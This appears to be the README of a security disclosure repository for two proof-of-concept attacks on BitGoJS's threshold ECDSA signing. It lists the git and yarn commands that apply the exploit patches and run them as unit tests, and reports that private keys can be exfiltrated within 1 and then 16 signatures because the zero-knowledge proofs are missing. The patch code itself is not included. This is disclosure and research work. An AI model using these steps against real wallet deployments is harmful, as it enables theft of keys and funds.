This exploit is described here
Impact: full key exfiltration within 1 signature
git clone https://github.com/BitGo/BitGoJS.git BitGoJS-ecdsa
cd BitGoJS-ecdsa
git checkout 9bc367c47efd5998659123ba78f63599b071c565
git apply ../ecdsa-poc-diff.patch
yarn install
cd modules/account-lib
yarn run unit-test
After receiving our report, BitGo released a patch that fixed the issue by adding a range proof, but lacked another necessary proof for the paillier key well-formedness, which we then used to exploit the implementation again
Impact: full key exfiltration within 16 signatures
git clone --branch bitgo@18.0.1 https://github.com/BitGo/BitGoJS.git BitGoJS-ecdsa-2
cd BitGoJS-ecdsa-2
git apply ../ecdsa-poc-2-diff.patch
yarn install
cd modules/account-lib
yarn run unit-test